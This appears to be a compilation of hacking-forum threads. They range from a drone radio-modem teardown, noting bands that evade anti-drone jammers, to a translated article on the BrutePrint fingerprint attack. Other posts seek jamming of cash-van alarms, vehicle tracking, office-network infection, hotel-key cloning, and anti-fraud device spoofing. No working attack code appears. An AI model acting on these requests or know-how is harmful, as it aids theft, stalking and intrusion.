Транзистор усилителя мощности — 2SK3756
Транзистор МШУ — BFU520
Защитная диодная сборка — идентифицировать не получилось, да и не сильно хотелось
ВЧ коммутатор HWS421
Стабилизаторы напряжения — ME6211C33M5G
Импульсный преобразователь — JW5250S

Не обошлось без сюрприза - ВЧ коммутатор HWS421 - сначала был ошибочно опознан мною как PE42421 - но оказалось что PE имеет ширину корпуса 2.1мм, а HWS - ширину 2,7мм. Все остальные внешние признаки, включая маркировку - у этих свитчей - одинаковые.
На плате запаяна деталька шириной 2.7мм . Вот так - всего 0.6мм - а какая разница!
Даташиты на все эти микросхемы - приложены к сообщению.

С обратной стороны платы - деталей, ожидаемо - нет:
IMG_2892.jpg
Лишь несколько дорожек - и одна из них весьма интересная. Она соединяет вывод TX_RAMP микросхемы SI4463 - с цепью управления смещением транзистора 2SK3756. Когда модуль работает на прием - смещение снимается, что запирает транзистор и предотвращает его самовозбуждение, а так же уменьшает ток покоя - как результат - меньше потребляемая мощность.

Какое-либо существенное увеличение мощности заменой транзистора выходного каскада выполнить невозможно, так как ограничивающим фактором является рассеиваемая корпусом SOT-89, тепловая мощность.

Кратковременное отключение антенны не должно вызывать электрического пробоя транзистора выходного каскада (выдерживает КСВ до 10:1), но учитывая плохой теплоотвод, длительная работа модема в таком режиме не желательна.

Для цепи питания и смещения транзистора МШУ используется отдельный LDO, что положительно сказывается на уровне шумов приемного тракта.

Но, есть неприятный момент - линии данных uart - от внешнего разъема к контроллеру, не защищены вообще ничем и никак.
Первая проблема - максимально допустимое напряжение на GPIO ножках этого APM32

Вернемся к дальности связи. В документации на SI4463 - написано, что чувствительность при скорости 128kbps - составляет -104dBm.
Осталось определить выходную мощность модема. Подключаю второй (пока еще - собранный) модем к аттенюатору и анализатору спектра. Сначала режим - обзор спектра с полосой в 15МГц.
s1.png
Скачки по частоте - действительно есть, причем та частота которую я задал в настройках - оказалась не центральной (как написано в даташите на модем), а начальной - самой "нижней", левой по спектру. Там где маркер D1.
Т.к. модем "скачущий" - измерить мощность встроенными средствами анализатора спектра нельзя. Я для этого использую внешний модуль датчика мощности, работающий про термоэлектрическому принципу и показывающий истинное среднее значение мощности передатчика в заданной полосе частот.
s2.png

И тут я немного приятно удивлен - транзистор используется полностью. По даташиту стандартная выдаваемая 2SK3756 мощность равна 31...32dBm, что и наблюдаем на экране измерителя мощности. Как в аптеке! Транзистор понятное дело находится в предельном (но - допустимом!) режиме и греется, рассеивая примерно 3 Вт тепла на плату-радиатор-крышку.

Теперь все готово для расчета дальности связи.

Так как в реальных условиях - дальность ограничена не только параметрами модемов, но и высотой расположения антенн, рельефом местности, нам понадобится трехмерная карта рельефа с хорошим разрешением сетки высот. Выглядит это примерно так:
33.png
Красный цвет - холмы, синий - низины (долины рек).

Разместим гипотетическую наземную станцию в центре Москвы - наиболее неблагоприятное место с точки зрения видимости радиогоризонта.
Мощность - 1вт (чуть ниже чем на самом деле - ну да ладно, будем считать что есть потери в кабеле ~~или боец плохо накрутил разъем~~), высота подъема антенны - 2м, чувствительность приемника наземной станции -104dBm согласно даташиту. Антенна имеет усиление 5dBm, например коллинеарная фирмы Opek или Anli.

Гипотетический дрон - летит южнее на расстоянии 12км от наземки, на высоте 200 метров. Несет на себе антенну-штырь с усилением 1dBm (хотя на самом деле там больше, т.к. имеется отражатель - но ехать в безэховую камеру в 2 часа вечера, чтобы померить усиление этого штырька, мне честно говоря лень). Будем считать что мир не идеален и там всего 1dbm.

Получаем офигенный запас по энергетике радиоканала - на расстоянии 12км уровень сигнала будет -98dBm, а это значит - наличие устойчивой связи с запасом в целых 104-98 = 6dBm!
1.png

Посмотрим как обстоят дела в других местах, кроме юга - учитывая что южное направление (относительно Москвы) - благоприятно для ведения радиосвязи.
2.png

Получается, что с такой конфигурацией антенн - радиомодемы гарантированно обеспечивают устойчивую радиосвязь на расстоянии 15км с БПЛА, летящем на высоте 200м.
Дальность можно увеличить двумя способами - поднять дрон выше, или снизить скорость AirDataRate до 64kbps - при этом канальная скорость последовательного порта станет равна 9600bps, а чувствительность возрастет до -109dBm, то есть на целых 5dBm что очень прилично. По моим оценкам, с высоты 1км дальность связи может превышать 70км. Но, так далеко не нужно - я рассматриваю этот модем все таки в качестве системы ближней связи. используемой для управления автопилотом БПЛА при взлете или посадке. Поэтому 10-15км более чем достаточно.

Настройка параметров модема.
Китайцы приводят полное описание используемого протокола в документации. Но - так же они написали замечательную утилиту для настройки модема, правда забыли выложить ее на сайт ) Софтина прикреплена к сообщению в архиве.
Встречайте:
44.png
Для перевода модема в режим программирования - нужно оторвать от земли ножку M0, подключить модем через адаптер usb-uart на микросхеме cp2101 к компьютеру, подать питание, запустить программу и нажать Connect.
После чего станет доступна кнопка GetData - если параметры считались успешно, то все работает.
Замечу - что все настройки которые тут сделаем, должны быть одинаковые на двух модемах - наземном и бортовом.
Выставляем скорости, включаем FEC (режим коррекции ошибок).
FHS_ID - Frequency-hopping sequence ID — желательно использовать нестандартное значение (3,4,5 и т.п.). Это последовательность скачков частоты, грубо говоря

Channel — «нижняя» по спектру частота модема.
Вычисляется по формуле 425M+CHAN0.5M. Например, для канала 20:
425 + 20
0,5 = 435МГц
Верхняя частота - 450,5МГц, что очень круто - обычные "антидроновые ружья" и простенькие переносные комплексы РЭБ - давят в лучшем случае 433МГц, а до 440-450 никак не дотягиваются.

Самое интересное - FHSS nums — количество каналов для скачков по частоте. При работе в условиях сильных помех, РЭБа и так далее - данное число лучше увеличить — но это может привести к увеличению задержек в линии.

Каждый канал добавляет 0.5МГц занимаемого модемом спектра. Максимальное значение — 32 канала, при этом ширина занимаемого спектра составляет целых 15,5МГц. А это уже сопоставимо с модемами "начального" уровня в military классе.
Если выставить FHSS nums = 1, то модем перестает прыгать по частотам и остается на фиксированном канале. Это удобно для настроек и измерения параметров радиотракта.

После завершения конфигурации — следует загрузить настройки в модем нажатием кнопки SetParams:
55.png
Вывод М0 модема, после настройки - должен быть замкнут "на землю" - в этом режиме модем создает прямую "прозрачную" uart линию, работая в режиме радиоудлинителя com-порта.

Очень жаль что столь приятные модемы сняты с производства - как и чип SI4463, на котором они построены. Поэтому ничего не остается кроме как создавать свой личный "стратегический резерв", закупая модемы/чипы впрок - пока они еще есть в достаточном количестве на китайских складах...

What type of cable is that ?help
ID: 676535aeb4103b69df3735d4
Thread ID: 90629
Created: 2023-06-15T23:12:17+0000
Last Post: 2023-06-16T11:22:14+0000
Author: fabiolucina
Replies: 1 Views: 322

1686869612785.png I need help and ask you: Left side is cable from provider, right site is cable to the house. Can i add there second cable to the right side and connect to my router ???

(Вопрос) Pandora - Android
ID: 676535aeb4103b69df3735b9
Thread ID: 97669
Created: 2023-09-09T09:14:34+0000
Last Post: 2023-09-09T09:14:34+0000
Author: tovarishchmajor
Replies: 0 Views: 321

Не увидел тут на форуме вроде бы, но может кто знает, программу Pandora из этой статьи где-то можно купить?

[ Вредоносная программа Pandora атакует телевизоры на Android при

обновлении прошивки и установки софта для видеопиратства ](https://telegra.ph/Vredonosnaya-programma-Pandora-atakuet-televizory-na- Android-pri-obnovlenii-proshivki-i-ustanovki-softa-dlya-videopiratstva-09-07)

Источник: https://cybersecuritynews.com/pandora-malware-attacks-android-tvs/

telegra.ph telegra.ph

Cколько требуется времени новой атаке BrutePrint для взлома отпечатка пальца 10 различных смартфонов
ID: 676535aeb4103b69df3735ca
Thread ID: 92881
Created: 2023-07-13T19:56:04+0000
Last Post: 2023-07-13T19:56:04+0000
Author: IvanVasilyevich
Prefix: Статья
Replies: 0 Views: 321

img_01.cleaned.jpg

Введение​

Для атаки BrutePrint требуется всего 15$ на оборудования и немного работы с телефоном.

Ресерчеры разработали недорогую атаку на смартфоны, позволяющую всего за 45 минут взломать отпечаток пальца, используемый для разблокировки экрана и выполнения других важных действий на различных устройствах под управлением ОС Android.

Атака, названная ее создателями BrutePrint, требует от противника физического контроля над устройством, т.е. когда оно потеряно, украдено, временно сдано на ремонт или находится без присмотра, например, когда владелец спит. Цель атаки: получить возможность провести атаку методом грубой силы, в ходе которой перебирается огромное количество отпечатков пальцев, пока не будет найден тот (имеющий сходство с авторизованным отпечатком в телефоне), который позволит разблокировать устройство. Атака использует уязвимости и слабые места в устройстве SFA (smartphone fingerprint authentication).

Обзор BrutePrint​

BrutePrint это недорогая атака, позволяющая разблокировать устройства путем использования различных уязвимостей и слабых мест в системах аутентификации по отпечаткам пальцев на смартфонах. Вот схема работы этих систем, которые обычно сокращенно называют SFA.

Схема работы системы аутентификации по отпечаткам пальцев в смартфоне.

Схема работы системы аутентификации по отпечаткам пальцев в смартфоне.

Основу оборудования, необходимого для BrutePrint, составляет плата стоимостью 15$, содержащая

  1. Микроконтроллер STM32F412 производства STMicroelectronics
  2. Двунаправленный двухканальный аналоговый коммутатор RS2117
  3. SD карту 8 Гб
  4. Разъем "board-to-board", соединяющий системную плату телефона с гибкой печатной схемой дактилоскопического датчика

Устройство составляющее основу атаки BrutePrint.

Устройство составляющее основу атаки BrutePrint.

Кроме того, для атаки требуется база данных отпечатков пальцев, подобная тем, которые используются в исследованиях или утечка которых происходит при реальных взломах, подобных этому.

Обзор атаки BrutePrint.

Обзор атаки BrutePrint.

Не все смартфоны одинаковы​

Подробнее о том, как работает BrutePrint, мы расскажем позже. Сначала о том, как показали себя различные модели телефонов. Всего исследователи протестировали 10 моделей: Xiaomi Mi 11 Ultra, Vivo X60 Pro, OnePlus 7 Pro, OPPO Reno Ace, Samsung Galaxy S10+, OnePlus 5T, Huawei Mate30 Pro 5G, Huawei P40, Apple iPhone SE, Apple iPhone 7.

img_05.cleaned.jpg

Список протестированных устройств с указанием их различных характеристик.

Исследователи проверили каждый из них на наличие уязвимостей, слабых мест или восприимчивости к различным методам атак. Проверялись такие характеристики, как количество образцов при мультисэмплинге, наличие функции отмены ошибок, поддержка "горячего" подключения, возможность декодирования данных и частота передачи данных по SPI. Кроме того, исследователи протестировали три атаки: попытку обхода ограничений, перехват отпечатков и перебор отпечатков пальцев.

img_06.cleaned.jpg

Результаты атак на различных протестированных устройствах.

Наконец, исследователи представили результаты, показывающие время, которое потребовалось различным телефонам для взлома отпечатков пальцев. Поскольку время зависит от количества авторизованных отпечатков на телефоне, исследователи установили для каждого из них один отпечаток.

img_07.cleaned.jpg

Показатели успешных тестов устройств: наименьшее время (от 0,73 до 2,9 часа) занял Galaxy S10+, наибольшее - Mi11 (от 2,78 до 13,89 часа).

Несмотря на то, что специфика разная, BrutePrint может выполнить неограниченный перебор отпечатков пальцев на всех восьми протестированных моделях Android. В зависимости от различных факторов, включая систему аутентификации по отпечаткам пальцев в конкретном телефоне и количество отпечатков, хранящихся для аутентификации, это занимает от 40 минут до 14 часов.

Реализация BrutePrint на потерянном или украденном устройстве​

В отличие от паролей, которые требуют прямого соответствия между вводимыми данными и теми, что хранятся в базе данных, при аутентификации по отпечаткам пальцев соответствие определяется с помощью порога сравнения. В результате для успешной атаки методом перебора отпечатков пальцев достаточно, чтобы вводимое изображение было приемлемым приближением к изображению в базе данных отпечатков пальцев. BrutePrint манипулирует коэффициентом ложного принятия (FAR), увеличивая пороговое значение, так что принимается меньшее количество приближенных изображений.

BrutePrint выступает в роли противника, находящегося между датчиком отпечатков пальцев и доверенной средой выполнения, и использует уязвимости, позволяющие угадывать неограниченное количество изображений.

При атаке типа BrutePrint атакующий снимает заднюю крышку устройства и подключает плату стоимостью 15$, на которой находится база данных отпечатков пальцев, загруженная во флэш память. Затем атакующий должен преобразовать эту базу данных в словарь отпечатков пальцев, отформатированный для работы с конкретным сенсором, используемым в телефоне. При преобразовании базы данных в пригодный для использования словарь используется нейронный метод. Этот процесс повышает вероятность совпадения.

После создания словаря отпечатков пальцев устройство противника получает возможность вводить каждую запись в целевой телефон. Обычно защита, известная как ограничение попыток, блокирует телефон по достижении определенного количества неудачных попыток входа в систему. BrutePrint позволяет полностью обойти это ограничение в восьми протестированных моделях Android, то есть устройство противника может пытаться ввести бесконечное число попыток. (На двух iPhone атака позволяет увеличить число попыток до 15, что в три раза больше пяти разрешенных).

По словам исследователей, обход происходит в результате использования двух уязвимостей нулевого дня в системе аутентификации по отпечаткам пальцев, используемой практически во всех смартфонах. Уязвимости, одна из которых известна как CAMF (cancel-after-match fail), а вторая MAL (match-after-lock), являются следствием логических ошибок в системе аутентификации. Эксплойты CAMF аннулируют контрольную сумму передаваемых данных отпечатков пальцев, а эксплойты MAL вычисляют результаты совпадения с помощью атак по побочным каналам.

Для аутентификации по отпечаткам пальцев в смартфонах используется последовательный периферийный интерфейс SPI (serial peripheral interface), соединяющий сенсор и процессор устройства. BrutePrint выступает в роли промежуточного противника, который прослушивает это соединение и получает данные, позволяющие эффективно перехватывать изображения отпечатков пальцев, хранящиеся в памяти устройства.

Способность BrutePrint перехватывать отпечатки пальцев, хранящиеся на устройствах Android, но не на iPhone, объясняется одним простым отличием: iOS шифрует данные, а Android нет.

Исследователи пишут:

Мы снимаем сигналы SPI с помощью логического анализатора и находим эти плотные сигналы на MISO для идентификации FDA. Поскольку данные не зашифрованы, мы можем попробывать метод кодирования в течение нескольких попыток вывода. Например, форма изображения может быть угадана путем факторизации общего количества пикселей, а адаптация по периодическому смещению значений аутлетов (т.е. таких значений, как контрольная сумма, отличных от пикселей изображения). Для устройства жертвы первый образец передается в 4 кадрах, а три последних используют тот же формат с 13 кадрами. Каждый последний кадр короткий, так как в нем передаются оставшиеся данные об отпечатках пальцев. Команды FDA идентифицируются перед каждым кадром. Для примера возьмем первый образец, команды FDA всегда 0xF08800, а структура (разделитель кадров опущен) данных отпечатков пальцев показана на рис. 6. Структура несложная - полутоновое изображение хранится в формате 16 bpp, а к каждой строке с обоих концов прикреплены порядковый номер и контрольная сумма CRC16. Последний кадр короткий, так как в нем передаются оставшиеся данные об отпечатках пальцев. Команды FDA идентифицируются перед каждым кадром. Для примера возьмем первый пример, команды FDA всегда 0xF08800, а структура (разделитель кадров опущен) дактилоскопических данных представлена на рис. 6. Структура несложная полутоновое изображение хранится в формате 16 bpp, а к каждой строке с обоих концов прикреплены порядковый номер и контрольная сумма CRC16.

Click to expand...

BrutePrint это работа "Yu Chen" из компании Tencent и "Yiling He" из Zhejiang University. Они предложили несколько программных и аппаратных изменений, направленных на смягчение последствий атак. Одно из изменений заключается в предотвращении обхода ограничения попыток путем проверки на наличие CAMF эксплойтов. Проверка осуществляется путем установки дополнительного лимита на отмену ошибок. Еще одно предлагаемое исправление предотвращение атак "противник посередине" путем шифрования данных, проходящих между датчиком отпечатков пальцев и процессором устройства. И наконец, исследователи рекомендуют внести изменения, которые заставят систему сбора отпечатков пальцев вести себя одинаково независимо от того, выводится ли результат совпадения или нет.

"Беспрецедентная угроза должна быть решена в сотрудничестве производителей смартфонов и датчиков отпечатков пальцев, в то же время проблемы могут быть смягчены и в ОС, Мы надеемся, что эта работа вдохновит сообщество на улучшение безопасности SFA", пишут исследователи.


**Специально дляXSS.is
Перевёл: IvanVasilyevich
Предложил перевод: baykal
Автор статьи: Dan Goodin
Актуальность: 22 Мая, 2023
Оригинал: [https://arstechnica.com/information...fingerprint-authentication- of-android-devices](https://arstechnica.com/information- technology/2023/05/hackers-can-brute-force-fingerprint-authentication-of- android-devices)**​

pocketbook 628
ID: 676535aeb4103b69df37360a
Thread ID: 76076
Created: 2022-11-17T15:41:48+0000
Last Post: 2022-11-17T15:41:48+0000
Author: te4n0x
Replies: 0 Views: 319

имеетса покетбук , установил pbterm(псевжотерминал вроде) , можно ли расширить имеющися бьюзибокс или усьанлвить пайтон хотя бы. Кто знает еще чего для книжки , облазил гитаб но кроме тора пазлов и терминала нечего не нашел.

Wifi Spoof
ID: 676535aeb4103b69df37362a
Thread ID: 61867
Created: 2022-01-23T19:45:21+0000
Last Post: 2022-01-27T22:55:08+0000
Author: rakoonz
Prefix: WiFi
Replies: 2 Views: 319

Hi,

I am looking for a program for Android or IOS to spoof a WiFi network. I have the ip & wifi login details but I need to know how to spoof the wifi network. Does anyone have a program?

Some questions about frequencies and signal jammers
ID: 676535aeb4103b69df37360b
Thread ID: 76033
Created: 2022-11-17T02:27:14+0000
Last Post: 2022-11-17T02:27:14+0000
Author: giulliatoffana
Replies: 0 Views: 308

I want to know some sources where I can read and learn about device communication freequencies.
Very specifically to learn which frequency uses some specific alarms, emergency communication system in cash-transport vans, some specific wifi cameras and similar ...

For purposes of jamming them

7 мая - день радио!?
ID: 676535aeb4103b69df3735de
Thread ID: 87428
Created: 2023-05-07T09:30:25+0000
Last Post: 2023-05-24T09:29:53+0000
Author: gliderexpert
Replies: 1 Views: 304

**Поздравляю всех, кто знает истинный смысл фразы "За связь - без брака! " ))

0.png

Хотя... стоп. Отставить ~~100 грамм~~! О чем это я? Какой-такой день радио?

Придется немного "хакнуть" историю ) Давайте немного отвлечемся от взломов WiFi и GSM, вспомним как все начиналось - и проведем небольшой OSINT.

1.pngИсторически, сегодняшнюю дату связисты на территории РФ, ассоциируют с событием 7 мая 1895 года, когда А.С.Попов продемонстрировал прибор для регистрации электромагнитных волн, которые создавались молниями. Его так и назвали позже - "Грозоотметчик Попова", а устроен он был очень просто - антенна, подключенная к колбочке с насыпанной туда металлической пылью. Пыль довольно плохо проводит электрический ток, но если на нее подать высокое напряжение (которое молнии создавали в антенне) - происходит пробой, пыль "спекается" в единый проводник и замыкает цепь питания электрического звонка. Звонок звонит, при этом ударяя по трубке с пылью, встряхивает трубку - опилки при этом снова "разлипаются" и перестают проводить ток. Звонок затихает до следующего разряда молнии.

Схема "грозоотметчика" Попова выглядела так:
2.png

Это нехитрое устройство, трубку с металлическими опилками - сегодня называют "когерер". Более подробно его устройство показано на иллюстрации ниже.
3.png

5.png
Только вот - когерер - изобрел не Попов, а Эдуард Бранли в 1890 году, назвав его "радиокондуктор". Спустя некоторое время, другой ученый - Оливер Лодж, усовершенствовал это устройство, добавив механизм "встряхивания" для восстановления свойств опилок в трубке, и именно он назвал получившуюся конструкцию: когерер.

6.png

7.pngКогерер Лоджа, впервые продемонстрированный перед аудиторией Королевского Института в 1894, позволял принимать сигналы кода Морзе переданные радиоволнами и давал возможность их записи регистрирующим аппаратом. В этом же году, вышла его статья в журнале "London Electrician" со словами:
…некоторые схемы по своей природе «вибрирующие… Они способны поддерживать возникшие в них колебания в течение длительного периода, в то время как в других схемах колебания быстро затухают. Приемник затухающего типа отреагирует на волны любой частоты, в противоположность приемнику, основанному на постоянной частоте, который реагирует только на волны с частотой его собственных колебаний.

Это ли не первая демонстрация радиосвязи? Именно связи, point-to-point "по воздуху", с передачей телеграфного сообщения, используя частотное разделение каналов (т.к. применен колебательный контур), а не запись разрядов молний, Поповым!

9.png Одновременно с этими событиями, в 1890 году - Никола Тесла (который вошел в историю как изобретатель двигателя переменного тока), живущий в Америке - заявил, что собирается разработать недорогое устройство, которое
«позволит владельцу слушать в море или на земле музыку или песни, речь политического лидера, выдающегося ученого или проповеди священника, находящегося на огромном расстоянии».

Видимо, в это время он не только мечтал о светлом будущем, но и во всю занимался разработкой соответствующих устройств, так как в 1891 году им был запатентован первый высокочастотный генератор/передатчик - патент США №454622._

8.png_Первая демонстрация состоялась в 1893 году в Институте Франклина - Тесла, используя высокочастотный генератор - заставлял светиться на расстоянии газоразрядную лампу, передавая таким образом при помощи азбуки Морзе, текст.
Кстати, при помощи этой же системы - Тесла предлагал передавать энергию на расстояние без использования проводов.

Считается, что первая радиопередача при помощи устройства Попова - была произведена в 1899 году, Экипаж броненосца «Генерал-адмирал Апраксин» - сумел с помощью радиотелеграфной станции Попова, связаться с землей.
Но, мало кто знает, что двумя годами ранее - Тесла уже во всю показывал на выставках свой радиоуправляемый дрон - небольшую лодку, перемещающуюся в бассейне по командам, передаваемым с пульта дистанционного управления - без проводов. Лодка могла начинать и прекращать движение, а так же поворачивать в разные стороны - это было полноценное дистанционное командное управление механизмом, а не просто передача "точка-тире".

В 1898 году - им был оформлен патент №613,809 "метод и устройство для управления подвижными объектами", где полностью показана конструкция "дрона":

10.png11.png

Уважаемые связисты - скажите, что же мы сегодня празднуем??? :smile10: :)

Wincor Manuals
ID: 676535aeb4103b69df37363f
Thread ID: 56152
Created: 2021-09-01T15:51:47+0000
Last Post: 2021-09-02T08:24:02+0000
Author: DogZombie
Replies: 1 Views: 303

Hello i dont know if this is jet uploaded somewhere, just want to share with all. Here are two manuals

Wincor Depozit Manual https://ufile.io/m6dqsflh
Wincor Operator Panel https://ufile.io/88ajgx7b

Подскажите пжл форум по фрикингу для авто
ID: 676535aeb4103b69df3735f2
Thread ID: 83822
Created: 2023-03-15T09:29:49+0000
Last Post: 2023-03-15T12:59:19+0000
Author: Carbon
Replies: 1 Views: 292

Интересует форум по фрикингу авто ,где можно найти софт/прошивки для электромобилей,подскажите пжл

Memory Device Media Is Write Protected
ID: 676535aeb4103b69df373639
Thread ID: 58307
Created: 2021-10-29T05:01:35+0000
Last Post: 2021-11-08T13:57:09+0000
Author: drhack0000
Replies: 3 Views: 292

Hello Crackers,?️
This is my first thread and i would be very gratefully if i get some solution to this general problem with USB drives.?

A USB drive of 8BG capacity storage with two folders. used space = 3.09GB, free space = 4.38. I try to format the USB drive as any user would do. Actually i do not care about this two folders getting erased so i went ahead to format it, for-what-reason, should it be "write protected"
Actually this made me came here to find solution, and i found a thread here

I also gave it a try
i downloaded HP USB drive three time?, (i have a screenshot of these actually i cant upload they due to the failure of upgrading my account), thought it was my own fault but yet still it is giving same error again and again.

"DEVICE MEDIA IS WRITE PROTECTED"

Q.1) Why did this happen ?
Q.2) What is the best solution to erase all data from this USB drive ?

Wincor Nixdorf KDIAG
ID: 676535aeb4103b69df37363d
Thread ID: 56292
Created: 2021-09-05T08:55:32+0000
Last Post: 2021-09-05T08:55:32+0000
Author: LM-68M
Replies: 0 Views: 262

В соседней теме тут выложили парочку мануалов для банкомата Wincor, ну а я, пожалуй, закину KDIAG - ПО для диагностики этих банкоматов.
Используется на очень многих банкоматах, что всё ещё находятся в эксплуатации.

Установочный файл:

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ 13.26 MB file on MEGA

](https://mega.nz/file/ZF4RXQja#YklueTwmyYuz2q4Da5tgx-mTDN79TABHYHwnnTtGwYY)

mega.nz mega.nz

Загрузочный образ:

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ 110.04 MB file on MEGA

](https://mega.nz/file/wd5FhKYD#7so1Mro28zQkvOXjVRID3MW6m4OdzcUDIqRJv2v4EvQ)

mega.nz mega.nz

На всякий случай: это ПО не предназначено для каких-то незаконных манипуляций, это исключительно программа для диагностики аппаратного обеспечения банкоматов. Без наличия физического доступа к сейфу снять деньги не выйдет.
Слышал, что существует взломанная версия этого ПО, которая лишена данной проверки, однако её мне найти не удалось.

[Android] Как подменить сим-карту?
ID: 676535aeb4103b69df3735db
Thread ID: 89425
Created: 2023-06-01T06:57:28+0000
Last Post: 2023-06-01T07:41:20+0000
Author: Handakai
Replies: 1 Views: 257

Не знаю, в тот ли раздел я разместил тему....
Но крч, интересует инфа по тому, как заставить мобильные приложения думать что у меня стоит сим-карта, например румынская и такой-то оператор и я сижу с мобильного интернета. Хотя девайс с вайфая без симки)))
У меня есть андроид с прошивкой google pixel и рутом. Есть еще пара-тройка различных андройдов-китайцев.

Юзал device id masker, но как-то не задалось, антифрод все равно ебёт. Может есть какие-то конфиги для него? по которым пустит регнуться в тикток, к примеру. Тестил на нём, т.к. там очень чётко можно понять всё ли получилось, если какие-то подозрения там у антифрода он тупо не пускает регнуться даже.

few questions to those familar with whid cactus injector ,proxmark and chamelon
ID: 676535aeb4103b69df37361f
Thread ID: 66519
Created: 2022-05-03T09:17:57+0000
Last Post: 2022-05-06T20:32:52+0000
Author: pyratemade
Replies: 2 Views: 253

ive been reading on these tools for quite sometime but havent found anyone who is more on the 'blackhat' use of these tools shall i say
my questions about the whid cactus injector is it even still relevant i havent notice it having updates for quite sometime has it ied just as the rubber ducky or is it just up to oneself to write own payload and such for i was looking at this hardware in order to infect an office computer system and steal all access information to be able to access later on at different location is this possible with this tool? or could reccomend something better

as for the proxmark it having a distance range is this able to grab cc data or perhaps steal hotel room key data and if so would i be able to do at a distance say just walking buy as someoone is usisng their key or could i just sniff putting it up against the key reader my same question is pretty much for the chamelon to with its abilit to emulate would i hav to use directly upon key making a copy thn save and emulate or perhaps can it sniff from the key reader on door and emulate this way any information is much appreciated yes i an bew to this area and would apprciate any free help i i will also offer fullz with dl id for good advice o guidance thanks

нужна помощь,не бесплатно,в приложениях андроид
ID: 676535aeb4103b69df37363b
Thread ID: 56912
Created: 2021-09-21T08:59:56+0000
Last Post: 2021-09-21T08:59:56+0000
Author: suproom
Prefix: GSM
Replies: 0 Views: 245

Могу не туда написать,не нашел раздела под этот вопрос,Админ если что перенеси плиз куда нужно(не оббесудь).
Есть приложения на андроиде телефоны,я подгружаю контакты в телефонную книгу и потом захожу в приложение и оно показывает мне ,определенную информацию,кто шарит как можно вытащить мне файлом одним инфу эту,ну вплане приложение наверно проводит синхронизацию,и отмечает какие то контакты,так вот вопрос к знатакам по андроиду и вобще,в кеше где то есть эти контакты и рядом с ними информация я могу как то найти ее и вытянуть?
@semperos моя телега или в ПМ.

Softphone Codec Support
ID: 676535aeb4103b69df373617
Thread ID: 70243
Created: 2022-07-17T17:18:22+0000
Last Post: 2022-07-20T10:10:15+0000
Author: DimmuBurgor
Replies: 4 Views: 242

Does anyone have a good application to suggest which offers native support for G711 ULaw? Thanks in advance!

ios jailbreak udid / imsi / imei /
ID: 676535aeb4103b69df3735c8
Thread ID: 93281
Created: 2023-07-18T12:05:49+0000
Last Post: 2023-07-18T12:05:49+0000
Author: lovanboss
Replies: 0 Views: 241

на повестке дня встал вопрос по поводу сменыидентификационных анных на устройстве ios.
Очевидно что всю информацию без взлома с помощью jailbreak не сменить, видел что Imei и imsi еще можно с помощью специальных софтов
но интересуют и другие данные, что бы прилоржения не могли идентифицировать твое устройство как одно и то же, может знает кто какие твики для этого ?

Аудио и видео регистратор на raspberry pi
ID: 676535aeb4103b69df3735c2
Thread ID: 95716
Created: 2023-08-15T11:11:51+0000
Last Post: 2023-08-18T07:29:42+0000
Author: Sergio_kol
Replies: 2 Views: 238

Всем доброго времени. Хотел сделать на raspberry pi zero полноценней аудио- видеорегистратор с отправкой данных в сеть. Код писал на python. Сначала писал в качестве теста на windows ноуте, все работает запускается запись с камеры, микрофона пишется двумя отдельными файлами, после аудио накладывается на видео. Ролики длинной по запросу пользователя, все четко звук соответствует картинке👍.
Пытался запустить тот же код для raspberry pi zero, при наложении аудио на видео начинаются проблемы, на интервале одной минуты звук сначала опаздывает, потом идет в уровень с видео, потом начинает опережать видео. Ставил разные тайминги и задержки в код. Но ничего не помогает. Также пробовал менять кодеки и fps для видео. Для винды были настройки fps 30 и звук 44100, это соответствие звука и видео при наложении полноценное.
Если кто то колхозил такую вещь, буду рад любым подсказкам.

Jailbreak iOS
ID: 676535aeb4103b69df3735ce
Thread ID: 91860
Created: 2023-07-02T03:57:57+0000
Last Post: 2023-07-02T03:57:57+0000
Author: lovanboss
Replies: 0 Views: 237

Какие вы знаете тувинки для подмены Eid imei
Я ж думаю для каждой сим есим
Этих данных подмены будет достаточно для уникализации устройства ?
Ну или сторонние какие-то утилиты по систему компьютера которые помогут сменить

USB Ethernet Adapter Windows 7 without drivers
ID: 676535aeb4103b69df373611
Thread ID: 74170
Created: 2022-10-10T17:32:34+0000
Last Post: 2022-10-12T17:51:28+0000
Author: happyATMnew
Replies: 1 Views: 229

Searching for a solution to use usb ethernet adapter on windows 7 without installing drivers, using native windows drivers.
Ищу решение чтобы использовать ethernet адаптер на винде 7 без драйверов, инными словами с нативными драйвера.

Вопрос про Фуллдуплексный-SDR
ID: 676535aeb4103b69df3735cf
Thread ID: 91830
Created: 2023-07-01T16:34:26+0000
Last Post: 2023-07-01T18:10:45+0000
Author: D4nte
Replies: 1 Views: 227

Здравствуйте начал я изучать радиотехнику и в планах было приобрести себе HackRF-ONE.
Хотел задатся вопросом у знатаков можно ли с помощью HackRF поднять поддельную gsm для захвата клиентов.
В качестве OS для этих тестирований я дропнул на live usb DRAGON OS там просто был предустановлена утилита AutoCalypsoBTS для теста.
Так вот можно ли или нет или придется докупать еще что то.
Если ответ для вас покажится легким, не судите строго просто только начал обучение.

TLOXP License Plate Reader or Lexis Nex LPR IMAGES OF CAR SPOTTING
ID: 676535aeb4103b69df37360f
Thread ID: 74487
Created: 2022-10-19T06:57:35+0000
Last Post: 2022-10-23T08:36:08+0000
Author: aziefaison
Replies: 1 Views: 226

I need to track a specific vehicle by license plate and camera footage of street camera see last time being seeing the vehicle on camera. Does anyone have access to street cameras or TLO LPR program? I'll pay for the look up

Examples of LPR below:

![www.tlo.com](/proxy.php?image=https%3A%2F%2Fwww.tlo.com%2Fvehicle- sightings%2F_jcr_content%2FteaserImage.coreimg.jpg&hash=5cdd827ee12104283f439aba21afbf86&return_error=1)

[ Vehicle Sightings and License Plate Recognition

](https://www.tlo.com/vehicle-sightings)

Nationwide Vehicle Sighting Reports and License Plate Recognition Data available with TransUnion's TLOxp solution.

![www.tlo.com](/proxy.php?image=https%3A%2F%2Fwww.tlo.com%2Fetc.clientlibs%2Ftransunion%2Fclientlibs%2Fclientlib- site%2Fresources%2Fimages%2Ffavicons%2Ffavicon.ico&hash=82483fc7ca818769dea851c8758f2b2d&return_error=1) www.tlo.com

https://risk.lexisnexis.com/-/media/files/product pages/brochure/lnrs vehicle location history 062719-nxr12458-00-0718-en-us.pdf

